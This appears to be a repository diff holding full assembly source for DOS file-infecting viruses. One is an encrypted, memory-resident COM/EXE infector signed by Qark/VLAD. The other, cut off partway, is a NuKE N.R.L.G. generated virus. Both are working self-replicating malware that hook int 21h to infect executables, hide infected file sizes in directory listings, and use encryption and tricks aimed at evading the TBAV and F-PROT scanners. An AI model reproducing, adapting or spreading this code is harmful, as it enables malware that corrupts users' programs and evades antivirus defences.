|
||||
; shitty XOR routine that's at the end, TBScan hardly finds anything!
|
||||
; TBAV can be proud of it's capabilites with polymorphism, but for
|
||||
; basic encryption it's a big thumbs down...
|
||||
;
|
||||
; Stats:
|
||||
; - Disinfect on open, Infect on close.
|
||||
; - No directory filesize change
|
||||
; - No findfirst filesize change
|
||||
; - Some anti-debugging features
|
||||
;
|
||||
; Anyway, this is my best virus so far. I've come a fair way since broken,
|
||||
; fucked up brother in VLAD#1 I'm sure you'll agree. I wrote this virus
|
||||
; a few months ago and am better than this already.
|
||||
;
|
||||
; As always, the A86 assembler is my favourite :)
|
||||
|
||||
|
||||
org 0
|
||||
|
||||
|
||||
db 0beh ;MOV SI,xxxx
|
||||
delta dw offset enc_start + 100h
|
||||
cld
|
||||
call encrypt
|
||||
enc_start:
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
sub si,offset enc_end ;The polymorphism is done.
|
||||
|
||||
|
||||
|
||||
mov word ptr [si+offset quit],20cdh
|
||||
quit:
|
||||
mov word ptr [si+offset quit],44c7h ;The bytes changed.
|
||||
|
||||
|
||||
push es
|
||||
push si
|
||||
|
||||
;If I don't get a feed soon, I'll start to fade...
|
||||
|
||||
mov ax,0FEEDh ;Feed ?
|
||||
int 21h
|
||||
|
||||
cmp ax,0FADEh ;Yes...
|
||||
je resident ;Fade...
|
||||
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
|
||||
cmp byte ptr [0],'Z'
|
||||
jne resident
|
||||
|
||||
sub word ptr [3],160 ;2560 bytes of memory.
|
||||
sub word ptr [12h],160 ;2560 bytes off TOM.
|
||||
|
||||
mov bx,word ptr [12h] ;Read in the TOM.
|
||||
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
|
||||
xor ax,ax ;ES=0 (Vector Table)
|
||||
mov es,ax
|
||||
|
||||
mov ax,word ptr es:[132] ;Get int21h.
|
||||
mov word ptr [si+offset i21],ax
|
||||
|
||||
mov ax,word ptr es:[134] ;Get int21h segment.
|
||||
mov word ptr [si+offset i21+2],ax
|
||||
|
||||
mov es,bx ;ES=Segment to store virus.
|
||||
|
||||
xor di,di ;Zero in memory.
|
||||
mov cx,offset length ;The size of the virus.
|
||||
rep movsb ;Move the virus.
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax ;ES=0 (Vector Table)
|
||||
|
||||
mov word ptr [132],offset infection
|
||||
mov [134],bx ;BX=Virus Seg I hope!
|
||||
|
||||
resident:
|
||||
|
||||
pop si ;SI=IP (Virus start)
|
||||
pop es ;ES=PSP
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cmp byte ptr [si+offset com_exe],1
|
||||
je exe_exit
|
||||
|
||||
mov ax,word ptr [si+offset old3]
|
||||
mov [100h],ax
|
||||
mov al,byte ptr [si+offset old3+2]
|
||||
mov [102h],al
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
call zero_all
|
||||
mov ax,100h
|
||||
jmp ax
|
||||
|
||||
Exe_Exit:
|
||||
|
||||
mov ax,es ;ES=PSP
|
||||
add ax,10h ;EXE file start.
|
||||
add word ptr [si+jump+2],ax
|
||||
|
||||
call zero_all
|
||||
|
||||
mov sp,word ptr [si+offset orig_sp]
|
||||
add ax,word ptr [si+offset orig_ss] ;Fix SS with AX.
|
||||
mov ss,ax
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
|
||||
db 0eah
|
||||
jump dd 0
|
||||
|
||||
Message db 'Go the Republic! '
|
||||
db 'Fuck off Royal Family!',0
|
||||
Creator db 'Qark/VLAD of the Republic of Australia',0
|
||||
|
||||
Infection:
|
||||
|
||||
push ax
|
||||
xchg al,ah
|
||||
|
||||
cmp ax,004bh ;Exec. Don't infect on 4B01h because
|
||||
je test_inf ;debug will find it then.
|
||||
|
||||
cmp al,43h ;Chmod.
|
||||
je test_inf
|
||||
|
||||
cmp al,56h ;Rename.
|
||||
je test_inf
|
||||
|
||||
cmp al,6ch ;Open.
|
||||
je dis_inf
|
||||
|
||||
cmp al,3dh ;Open
|
||||
je dis_inf
|
||||
|
||||
cmp al,11h ;FCB find.
|
||||
je dir_listing
|
||||
|
||||
cmp al,12h ;Dir listing in progress.
|
||||
je dir_listing
|
||||
|
||||
cmp al,4eh ;Find first.
|
||||
je find_file
|
||||
|
||||
cmp al,4fh ;Find_next.
|
||||
je find_file
|
||||
|
||||
cmp al,3eh ;Close.
|
||||
je end_infect
|
||||
|
||||
pop ax
|
||||
|
||||
cmp ax,0FEEDh
|
||||
je res_check ;Testing for installation ?
|
||||
|
||||
jump_exit:
|
||||
|
||||
jmp jend ;Exit TSR
|
||||
|
||||
res_check:
|
||||
mov ax,0FADEh ;Return parameter.
|
||||
iret
|
||||
|
||||
dir_listing:
|
||||
jmp dir_stealth
|
||||
find_file:
|
||||
jmp search_stealth
|
||||
dis_inf:
|
||||
jmp full_stealth ;Disinfect on the fly.
|
||||
end_infect:
|
||||
jmp close_infect
|
||||
|
||||
jump2_exit:
|
||||
jmp far_pop_exit ;Just an exit.
|
||||
|
||||
test_inf:
|
||||
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
call check_name
|
||||
|
||||
jc jump2_exit
|
||||
|
||||
mov ax,3d00h ;Open readonly.
|
||||
mov dx,di ;DX=DI=Offset length
|
||||
call int21h
|
||||
|
||||
jc jump2_exit
|
||||
|
||||
mov bx,ax
|
||||
|
||||
call get_sft
|
||||
|
||||
;Test for infection.
|
||||
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
|
||||
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
|
||||
and ax,1f1fh ;Get rid of the shit we don't need.
|
||||
cmp al,ah ;Compare the seconds with minutes.
|
||||
je jump2_exit
|
||||
|
||||
Handle_Infection:
|
||||
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
|
||||
;Read the File header in to test
|
||||
;for EXE or COM.
|
||||
mov ah,3fh ;Read from file.
|
||||
mov cx,1ch ;1C bytes.
|
||||
call int21h ;DX=Offset length from file open.
|
||||
;We don't need the filename anymore
|
||||
;so use that space as a buffer.
|
||||
|
||||
mov si,dx ;SI=DX=offset length.
|
||||
mov di,offset header
|
||||
mov cx,18h
|
||||
rep movsb ;Move header to header.
|
||||
|
||||
|
||||
mov si,dx ;SI=DX=Offset of length.
|
||||
|
||||
mov ax,word ptr [si] ;=Start of COM or EXE.
|
||||
add al,ah ;Add possible MZ.
|
||||
cmp al,167 ;Test for MZ.
|
||||
je exe_infect
|
||||
jmp com_infect
|
||||
|
||||
EXE_infect:
|
||||
|
||||
mov byte ptr com_exe,1 ;Signal EXE file.
|
||||
|
||||
cmp word ptr [si+1ah],0 ;Test for overlays.
|
||||
jne exe_close_exit ;Quick... run!!!
|
||||
|
||||
push si ;SI=Offset of header
|
||||
|
||||
add si,0eh ;SS:SP are here.
|
||||
mov di,offset orig_ss
|
||||
movsw ;Move them!
|
||||
movsw
|
||||
|
||||
mov di,offset jump ;The CS:IP go in here.
|
||||
|
||||
lodsw ;ADD SI,2 - AX destroyed.
|
||||
|
||||
movsw
|
||||
movsw ;Move them!
|
||||
|
||||
pop si
|
||||
|
||||
call get_sft ;ES:DI = SFT for file.
|
||||
|
||||
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
|
||||
mov dx,word ptr es:[di+13h]
|
||||
mov cx,16 ;Divide by paragraphs.
|
||||
div cx
|
||||
|
||||
sub ax,word ptr [si+8] ;Subtract headersize.
|
||||
|
||||
mov word ptr delta,dx ;Initial IP.
|
||||
|
||||
add delta,offset enc_start ;Fix for polymorphics.
|
||||
|
||||
mov word ptr [si+14h],dx ;IP in header.
|
||||
mov word ptr [si+16h],ax ;CS in header.
|
||||
|
||||
add dx,offset stack_end ;Fix SS:SP for file.
|
||||
|
||||
mov word ptr [si+0eh],ax ;We'll make SS=CS
|
||||
mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer.
|
||||
|
||||
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
|
||||
mov dx,word ptr es:[di+13h]
|
||||
|
||||
add ax,offset length ;Add the virus length on.
|
||||
adc dx,0 ;32bit
|
||||
|
||||
mov cx,512 ;Divide by pages.
|
||||
div cx
|
||||
|
||||
and dx,dx
|
||||
jz no_page_fix
|
||||
|
||||
inc ax ;One more for the partial
|
||||
;page!
|
||||
no_page_fix:
|
||||
|
||||
mov word ptr [si+4],ax ;Number of pages.
|
||||
mov word ptr [si+2],dx ;Partial page.
|
||||
|
||||
mov word ptr es:[di+15h],0 ;Lseek to start of file.
|
||||
|
||||
call get_date ;Save the old time/date.
|
||||
|
||||
mov ah,40h ;Write header to file.
|
||||
mov dx,si ;Our header buffer.
|
||||
mov cx,1ch ;1CH bytes.
|
||||
call int21h
|
||||
|
||||
jc exe_close_exit
|
||||
|
||||
mov ax,4202h ;End of file. Smaller than
|
||||
;using SFT's.
|
||||
xor cx,cx ;Zero CX
|
||||
cwd ;Zero DX (If AX < 8000H then
|
||||
;CWD moves zero into DX)
|
||||
call int21h
|
||||
|
||||
call enc_setup ;Thisll encrypt it and move
|
||||
;it to the end of file.
|
||||
exe_close_exit:
|
||||
|
||||
jmp com_close_exit
|
||||
|
||||
com_infect:
|
||||
|
||||
mov byte ptr com_exe,0 ;Flag COM infection.
|
||||
|
||||
mov ax,word ptr [si] ;Save COM files first 3 bytes.
|
||||
mov word ptr old3,ax
|
||||
mov al,[si+2]
|
||||
mov byte ptr old3+2,al
|
||||
|
||||
call get_sft ;SFT is at ES:DI
|
||||
|
||||
mov ax,es:[di+11h] ;AX=File Size
|
||||
|
||||
cmp ax,64000
|
||||
ja com_close_exit ;Too big.
|
||||
|
||||
cmp ax,1000
|
||||
jb com_close_exit ;Too small.
|
||||
|
||||
push ax ;Save filesize.
|
||||
|
||||
mov newoff,ax ;For the new jump.
|
||||
sub newoff,3 ;Fix the jump.
|
||||
|
||||
mov word ptr es:[di+15h],0 ;Lseek to start of file :)
|
||||
|
||||
call get_date ;Save original file date.
|
||||
|
||||
mov ah,40h
|
||||
mov cx,3
|
||||
mov dx,offset new3 ;Write the virus jump to start of
|
||||
call int21h ;file.
|
||||
|
||||
pop ax ;Restore file size.
|
||||
|
||||
jc com_close_exit ;If an error occurred... exit.
|
||||
|
||||
mov word ptr es:[di+15h],ax ;Lseek to end of file.
|
||||
|
||||
add ax,offset enc_start + 100h ;File size + 100h.
|
||||
mov word ptr delta,ax ;The delta offset for COM files.
|
||||
|
||||
call enc_setup
|
||||
|
||||
com_close_exit:
|
||||
|
||||
mov ah,3eh
|
||||
call int21h
|
||||
|
||||
far_pop_exit:
|
||||
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
jend:
|
||||
db 0eah ;Opcode for jmpf
|
||||
i21 dd 0
|
||||
|
||||
int21h proc near ;Our int 21h
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[i21]
|
||||
ret
|
||||
int21h endp
|
||||
|
||||
close_infect:
|
||||
cmp bl,4
|
||||
ja good_handle
|
||||
pop ax
|
||||
jmp jend
|
||||
|
||||
Good_Handle:
|
||||
|
||||
push bx ;Save the original registers.
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
call get_sft ;ES:DI = SFT
|
||||
mov ax,word ptr es:[di+0dh] ;AX=Time
|
||||
and ax,1f1fh ;Shit we don't need.
|
||||
cmp al,ah ;AL=AH means infected.
|
||||
je far_pop_exit
|
||||
|
||||
mov dx,offset length
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov word ptr es:[di+2],2 ;Read/Write mode.
|
||||
mov word ptr es:[di+15h],0 ;Zero file pointer.
|
||||
mov word ptr es:[di+17h],0 ;Zero file pointer.
|
||||
add di,28h ;ES:DI=Extension
|
||||
cmp word ptr es:[di],'OC'
|
||||
je close_com
|
||||
cmp word ptr es:[di],'XE'
|
||||
jne far_pop_exit
|
||||
Close_Exe:
|
||||
inc di
|
||||
inc di
|
||||
cmp byte ptr es:[di],'E'
|
||||
jne far_pop_exit
|
||||
jmp handle_infection
|
||||
|
||||
Close_Com:
|
||||
|
||||
cmp byte ptr es:[di+2],'M'
|
||||
jne far_pop_exit
|
||||
jmp handle_infection
|
||||
|
||||
;-------
|
||||
|
||||
Full_Stealth:
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp al,6ch
|
||||
jne stealth_6c
|
||||
|
||||
mov dx,si
|
||||
|
||||
stealth_6c:
|
||||
call check_name
|
||||
jnc do_stealth
|
||||
Stealth_end:
|
||||
jmp far_pop_exit
|
||||
|
||||
Do_Stealth:
|
||||
|
||||
mov ax,3d00h
|
||||
mov dx,di
|
||||
call int21h
|
||||
jc stealth_end
|
||||
|
||||
mov bx,ax ;BX=filehandle
|
||||
call get_sft
|
||||
;ES:DI=SFT
|
||||
|
||||
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
|
||||
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
|
||||
and ax,1f1fh ;Get rid of the shit we don't need.
|
||||
cmp al,ah ;Compare the seconds with minutes.
|
||||
jne stealth_end ;Not infected...
|
||||
|
||||
|
||||
mov ax,word ptr es:[di+11h] ;File size.
|
||||
mov dx,word ptr es:[di+13h]
|
||||
|
||||
push dx
|
||||
push ax
|
||||
|
||||
sub ax,1ch ;Header+time+date = 1ch
|
||||
sbb dx,0
|
||||
mov word ptr es:[di+15h],ax ;File pointer.
|
||||
mov word ptr es:[di+17h],dx
|
||||
|
||||
mov ah,3fh
|
||||
mov dx,offset header ;Read in header.
|
||||
mov cx,1ch
|
||||
call int21h
|
||||
|
||||
pop ax
|
||||
pop dx ;DX:AX=length of file
|
||||
|
||||
sub ax,offset length ;EOF - length.
|
||||
sbb dx,0
|
||||
mov word ptr es:[di+15h],ax
|
||||
mov word ptr es:[di+17h],dx
|
||||
|
||||
mov ah,40h ;Truncate virus off.
|
||||
xor cx,cx
|
||||
call int21h
|
||||
jc stealth_end
|
||||
|
||||
mov word ptr es:[di+15h],0 ;Start of file
|
||||
mov word ptr es:[di+17h],0
|
||||
|
||||
mov ah,40h
|
||||
mov dx,offset header
|
||||
mov cx,18h
|
||||
call int21h ;Write original header back.
|
||||
|
||||
mov cx,word ptr time
|
||||
mov dx,word ptr date
|
||||
mov ax,5701h ;Put original time/date back.
|
||||
call int21h
|
||||
|
||||
mov ah,3eh ;Close file.
|
||||
call int21h
|
||||
|
||||
jmp stealth_end
|
||||
|
||||
Check_Name proc near
|
||||
;Entry:
|
||||
;DS:DX=Filename
|
||||
;
|
||||
;Exit:
|
||||
;Carry if bad name.
|
||||
;DS=ES=CS
|
||||
;AX is fucked.
|
||||
;SI = File Extension Somewhere.
|
||||
;DI = Offset length.
|
||||
|
||||
|
||||
mov si,dx ;DS:SI = Filename.
|
||||
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
|
||||
mov ah,60h ;Get qualified filename.
|
||||
mov di,offset length ;DI=Buffer for filename.
|
||||
call int21h ;This converts it to uppercase too!
|
||||
|
||||
;CS:LENGTH = Filename in uppercase
|
||||
;with path and drive. Much easier
|
||||
;to handle now!
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
|
||||
mov si,di ;SI=DI=Offset Length
|
||||
|
||||
cld ;Forward!
|
||||
|
||||
find_ascii_z:
|
||||
|
||||
lodsb
|
||||
cmp al,0
|
||||
jne find_ascii_z
|
||||
|
||||
sub si,4 ;Points to the file extension. 'EXE'
|
||||
|
||||
lodsw ;Mov AX,DS:[SI]
|
||||
|
||||
cmp ax,'XE' ;The 'EX' out of 'EXE'
|
||||
jne test_com
|
||||
|
||||
lodsb ;Mov AL,DS:[SI]
|
||||
|
||||
cmp al,'E' ;The last 'E' in 'EXE'
|
||||
jne Bad_Name
|
||||
|
||||
jmp do_file ;EXE-file
|
||||
|
||||
test_com:
|
||||
|
||||
cmp ax,'OC' ;The 'CO' out of 'COM'
|
||||
jne Bad_Name
|
||||
|
||||
lodsb ;Mov AL,DS:[SI]
|
||||
|
||||
cmp al,'M'
|
||||
je do_file ;COM-file
|
||||
|
||||
Bad_Name:
|
||||
stc
|
||||
ret
|
||||
|
||||
do_file:
|
||||
clc
|
||||
ret
|
||||
Check_Name endp
|
||||
|
||||
|
||||
Search_Stealth:
|
||||
|
||||
pop ax ;Restore AX.
|
||||
|
||||
call int21h
|
||||
jc end_search
|
||||
|
||||
push es
|
||||
push bx
|
||||
push si
|
||||
|
||||
mov ah,2fh
|
||||
call int21h
|
||||
|
||||
mov si,bx
|
||||
|
||||
mov bx,word ptr es:[si+16h]
|
||||
and bx,1f1fh
|
||||
cmp bl,bh
|
||||
jne search_pop ;Is our marker set ?
|
||||
|
||||
sub word ptr es:[si+1ah],offset length ;Subtract the file length.
|
||||
sbb word ptr es:[si+1ch],0
|
||||
|
||||
search_pop:
|
||||
|
||||
pop si
|
||||
pop bx
|
||||
pop es
|
||||
clc
|
||||
|
||||
end_search:
|
||||
retf 2 ;This is the same as an IRET
|
||||
;except that the flags aren't popped
|
||||
;off so our Carry Remains set.
|
||||
|
||||
Dir_Stealth:
|
||||
|
||||
;This bit means that wen you do a 'dir' there is no change in
|
||||
;file size.
|
||||
|
||||
pop ax
|
||||
|
||||
call int21h ;Call the interrupt
|
||||
cmp al,0 ;straight off.
|
||||
jne end_of_dir
|
||||
|
||||
push es
|
||||
push ax ;Save em.
|
||||
push bx
|
||||
push si
|
||||
|
||||
mov ah,2fh ;Get DTA address.
|
||||
call int21h
|
||||
|
||||
mov si,bx
|
||||
|
||||
cmp byte ptr es:[si],0ffh ;Extended FCB ?
|
||||
jne not_extended
|
||||
|
||||
add si,7 ;Add the extra's.
|
||||
|
||||
not_extended:
|
||||
|
||||
mov bx,word ptr es:[si+17h] ;Move time.
|
||||
and bx,1f1fh
|
||||
cmp bl,bh
|
||||
jne dir_pop ;Is our marker set ?
|
||||
|
||||
sub word ptr es:[si+1dh],offset length ;Subtract the file length.
|
||||
sbb word ptr es:[si+1fh],0
|
||||
|
||||
dir_pop:
|
||||
|
||||
pop si
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
|
||||
end_of_dir:
|
||||
|
||||
iret
|
||||
|
||||
Get_Date proc near
|
||||
mov ax,5700h ;Get Date/Time.
|
||||
call int21h
|
||||
mov word ptr time,cx
|
||||
mov word ptr date,dx
|
||||
|
||||
ret
|
||||
|
||||
Get_date endp
|
||||
|
||||
Set_Marker proc near
|
||||
|
||||
mov cx,time
|
||||
mov al,ch
|
||||
and al,1fh
|
||||
and cl,0e0h
|
||||
or cl,al
|
||||
mov dx,date
|
||||
mov ax,5701h
|
||||
call int21h
|
||||
|
||||
ret
|
||||
|
||||
Set_marker endp
|
||||
|
||||
Enc_Setup proc near
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
in al,40h
|
||||
mov byte ptr cs:cipher,al
|
||||
|
||||
xor si,si
|
||||
mov di,offset length ;Offset of our buffer.
|
||||
mov cx,offset length ;Virus Length.
|
||||
rep movsb ;Move the virus up in memory for
|
||||
;encryption.
|
||||
|
||||
mov si,offset length + offset enc_start
|
||||
|
||||
call encrypt ;Encrypt virus.
|
||||
|
||||
mov ah,40h ;Write virus to file
|
||||
mov dx,offset length ;Buffer for encrypted virus.
|
||||
mov cx,offset length ;Virus length.
|
||||
call int21h
|
||||
|
||||
call set_marker ;Mark file as infected.
|
||||
|
||||
ret
|
||||
|
||||
Enc_setup endp
|
||||
|
||||
Get_SFT Proc Near
|
||||
;Entry: BX=File Handle.
|
||||
;Exit: ES:DI=SFT.
|
||||
push bx
|
||||
|
||||
mov ax,1220h ;Get Job File Table Entry. The byte pointed
|
||||
int 2fh ;at by ES:[DI] contains the number of the
|
||||
;SFT for the file handle.
|
||||
|
||||
xor bx,bx
|
||||
mov bl,es:[di] ;Get address of System File Table Entry.
|
||||
mov ax,1216h
|
||||
int 2fh
|
||||
|
||||
pop bx
|
||||
|
||||
ret
|
||||
|
||||
Get_SFT EndP
|
||||
|
||||
Zero_All proc near
|
||||
;Zero's everything cept AX.
|
||||
|
||||
xor bx,bx ;Zero BX
|
||||
mov cx,bx
|
||||
mov dx,bx
|
||||
mov di,bx
|
||||
|
||||
ret
|
||||
Zero_All endp
|
||||
|
||||
|
||||
New3 db 0e9h ;The jump for the start of
|
||||
Newoff dw 0 ;COM files.
|
||||
orig_ss dw 0
|
||||
orig_sp dw 0
|
||||
com_exe db 0
|
||||
old3 db 0cdh,20h,90h
|
||||
|
||||
|
||||
|
||||
enc_end: ;Encryption ends here.
|
||||
|
||||
; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111
|
||||
|
||||
; Works every time :)
|
||||
|
||||
encrypt proc near
|
||||
|
||||
;Si = enc_start
|
||||
mov cx,offset enc_end - offset enc_start
|
||||
db 0b0h ;=MOV AL,xx
|
||||
cipher db 0
|
||||
enc_loop:
|
||||
ror al,1
|
||||
neg al
|
||||
xor cs:[si],al ;<--- Whoah! Never guess this was encryption!
|
||||
add al,al
|
||||
inc si
|
||||
loop enc_loop
|
||||
ret
|
||||
|
||||
Encrypt endp
|
||||
|
||||
header db 18h dup (0) ;rewrite this
|
||||
time dw 0 ;restore this
|
||||
date dw 0
|
||||
|
||||
length db 200 dup (0)
|
||||
stack_end:
|
||||
|
|
@ -0,0 +1,443 @@
|
|||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿinc word ptr [di]
|
||||
inc byte ptr [di]
|
||||
add word ptr [di],0e6e9h
|
||||
sub byte ptr [di],01fh
|
||||
add byte ptr [di],05fh
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿ;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
